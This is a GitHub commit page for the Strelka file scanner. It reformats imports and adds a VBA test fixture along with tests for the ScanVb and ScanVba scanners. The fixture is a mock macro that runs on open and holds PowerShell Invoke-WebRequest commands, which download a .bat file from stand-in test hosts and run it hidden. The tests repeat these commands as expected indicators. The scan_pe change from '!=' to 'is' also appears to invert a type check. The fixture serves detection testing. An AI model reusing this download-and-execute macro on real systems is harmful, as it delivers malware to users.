Skip to content

Commit

Permalink
Formatting...
Browse files Browse the repository at this point in the history
  • Loading branch information
phutelmyer committed Jan 9, 2024
1 parent 5179e01 commit 6aec6d6
Show file tree
Hide file tree
Showing 11 changed files with 285 additions and 63 deletions.
4 changes: 3 additions & 1 deletion src/python/strelka/scanners/scan_ole.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
import re

import olefile
import oletools
import re

from strelka import strelka


Expand Down
4 changes: 3 additions & 1 deletion src/python/strelka/scanners/scan_pdf.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,10 @@
import fitz
import io
import re
from collections import Counter
from datetime import datetime, timezone

import fitz

from strelka import strelka

# Suppress PyMuPDF warnings
Expand Down
4 changes: 2 additions & 2 deletions src/python/strelka/scanners/scan_pe.py
Original file line number Diff line number Diff line change
Expand Up @@ -402,13 +402,13 @@ def scan(self, data, file, options, expire_at):
return

if rich_dict := parse_rich(pe):
if type(rich_dict) != str:
if type(rich_dict) is str:
self.event["rich"] = rich_dict
else:
self.flags.append(rich_dict)

if cert_dict := parse_certificates(data):
if type(cert_dict) != str:
if type(cert_dict) is str:
self.event["security"] = cert_dict
else:
self.flags.append(cert_dict)
Expand Down
2 changes: 2 additions & 0 deletions src/python/strelka/scanners/scan_vba.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
import logging

from oletools import olevba

from strelka import strelka

logging.getLogger("olevba").setLevel(logging.WARNING)
Expand Down
4 changes: 3 additions & 1 deletion src/python/strelka/scanners/scan_zip.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,9 @@
import io
import os
import zlib

import pyzipper

from strelka import strelka


Expand Down Expand Up @@ -140,4 +142,4 @@ def scan(self, data, file, options, expire_at):
except pyzipper.BadZipFile:
self.flags.append("bad_zip_file")
except ValueError:
self.flags.append("value_error")
self.flags.append("value_error")
Binary file modified src/python/strelka/tests/fixtures/test.pdf
100755 → 100644
Binary file not shown.
30 changes: 30 additions & 0 deletions src/python/strelka/tests/fixtures/test.vba
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
Option Explicit
Sub AutoOpen()
'
' AutoOpen Macro
'

MsgBox "Hello World!"

End Sub


Private Sub Document_Open()

MsgBox "Hello World!"

End Sub

Private Sub Testing_Iocs()

Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 0
Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri https://www.test.example.com -OutFile $env:tmp\test.txt
Start-Process -Filepath $env:tmp\invoice.one"
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri https://www.test.com/test.bat -OutFile $env:tmp\test.bat
Start-Process -Filepath $env:tmp\test.bat"

End Sub
133 changes: 82 additions & 51 deletions src/python/strelka/tests/test_scan_pdf.py

Large diffs are not rendered by default.

18 changes: 11 additions & 7 deletions src/python/strelka/tests/test_scan_url.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
from pathlib import Path
from unittest import TestCase, mock

from pytest_unordered import unordered

from strelka.scanners.scan_url import ScanUrl as ScanUnderTest
from strelka.tests import run_test_scan

Expand All @@ -14,12 +16,14 @@ def test_scan_url_text(mocker):
test_scan_event = {
"elapsed": mock.ANY,
"flags": [],
"urls": [
b"http://foobar.example.com",
b"ftp://barfoo.example.com",
b"example.com",
b"https://barfoo.example.com",
],
"urls": unordered(
[
"example.com",
"http://foobar.example.com",
"https://barfoo.example.com",
"ftp://barfoo.example.com",
]
),
}

scanner_event = run_test_scan(
Expand All @@ -41,7 +45,7 @@ def test_scan_url_html(mocker):
test_scan_event = {
"elapsed": mock.ANY,
"flags": [],
"urls": [b"https://example.com/example.js"],
"urls": ["https://example.com/example.js"],
}

scanner_event = run_test_scan(
Expand Down
90 changes: 90 additions & 0 deletions src/python/strelka/tests/test_scan_vb.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
from pathlib import Path
from unittest import TestCase, mock

from pytest_unordered import unordered

from strelka.scanners.scan_vb import ScanVb as ScanUnderTest
from strelka.tests import run_test_scan


def test_scan_vb(mocker):
"""
Pass: Sample event matches output of scanner.
Failure: Unable to load file or sample event fails to match.
"""
test_scan_event = {
"elapsed": mock.ANY,
"flags": [],
"comments": ["AutoOpen Macro"],
"functions": ["AutoOpen", "Document_Open", "Testing_Iocs"],
"names": [
"Explicit",
"MsgBox",
"objWMIService",
"GetObject",
"objStartup",
"Get",
"objConfig",
"SpawnInstance_",
"ShowWindow",
"objProcess",
"ExecuteCmdAsync",
],
"operators": ["="],
"strings": [
"Hello World!",
"winmgmts:\\\\\\\\.\\\\root\\\\cimv2",
"Win32_ProcessStartup",
"winmgmts:\\\\\\\\.\\\\root\\\\cimv2:Win32_Process",
"cmd /c powershell Invoke-WebRequest -Uri https://www.test.example.com -OutFile $env:tmp\\\\test.txt\\nStart-Process -Filepath $env:tmp\\\\invoice.one",
"cmd /c powershell Invoke-WebRequest -Uri https://www.test.com/test.bat -OutFile $env:tmp\\\\test.bat\\nStart-Process -Filepath $env:tmp\\\\test.bat",
],
"script_length_bytes": 752,
"tokens": [
"Token.Keyword",
"Token.Name",
"Token.Text.Whitespace",
"Token.Name.Function",
"Token.Punctuation",
"Token.Comment",
"Token.Literal.String",
"Token.Operator",
"Token.Literal.Number.Integer",
],
"urls": unordered(
[
"tmp\\\\invoice.one",
"https://www.test.com/test.bat",
"https://www.test.example.com",
]
),
"iocs": unordered(
[
{
"ioc": "www.test.example.com",
"ioc_type": "domain",
"scanner": "ScanVb",
},
{
"ioc": "https://www.test.example.com",
"ioc_type": "url",
"scanner": "ScanVb",
},
{"ioc": "www.test.com", "ioc_type": "domain", "scanner": "ScanVb"},
{
"ioc": "https://www.test.com/test.bat",
"ioc_type": "url",
"scanner": "ScanVb",
},
]
),
}

scanner_event = run_test_scan(
mocker=mocker,
scan_class=ScanUnderTest,
fixture_path=Path(__file__).parent / "fixtures/test.vba",
)

TestCase.maxDiff = None
TestCase().assertDictEqual(test_scan_event, scanner_event)
59 changes: 59 additions & 0 deletions src/python/strelka/tests/test_scan_vba.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
from pathlib import Path
from unittest import TestCase, mock

from pytest_unordered import unordered

from strelka.scanners.scan_vba import ScanVba as ScanUnderTest
from strelka.tests import run_test_scan


def test_scan_vba(mocker):
"""
Pass: Sample event matches output of scanner.
Failure: Unable to load file or sample event fails to match.
"""
test_scan_event = {
"elapsed": mock.ANY,
"flags": [],
"auto_exec": ["AutoOpen", "Document_Open"],
"base64": [],
"dridex": [],
"hex": [],
"ioc": [
"https://www.test.example.com",
"https://www.test.com/test.bat",
"test.bat",
],
"iocs": unordered(
[
{"ioc": "test.bat", "ioc_type": "domain", "scanner": "ScanVba"},
{
"ioc": "www.test.example.com",
"ioc_type": "domain",
"scanner": "ScanVba",
},
{
"ioc": "https://www.test.example.com",
"ioc_type": "url",
"scanner": "ScanVba",
},
{"ioc": "www.test.com", "ioc_type": "domain", "scanner": "ScanVba"},
{
"ioc": "https://www.test.com/test.bat",
"ioc_type": "url",
"scanner": "ScanVba",
},
]
),
"suspicious": ["powershell", "Start-Process", "ShowWindow", "GetObject"],
"total": {"extracted": 1, "files": 1},
}

scanner_event = run_test_scan(
mocker=mocker,
scan_class=ScanUnderTest,
fixture_path=Path(__file__).parent / "fixtures/test.vba",
)

TestCase.maxDiff = None
TestCase().assertDictEqual(test_scan_event, scanner_event)

0 comments on commit 6aec6d6

Please sign in to comment.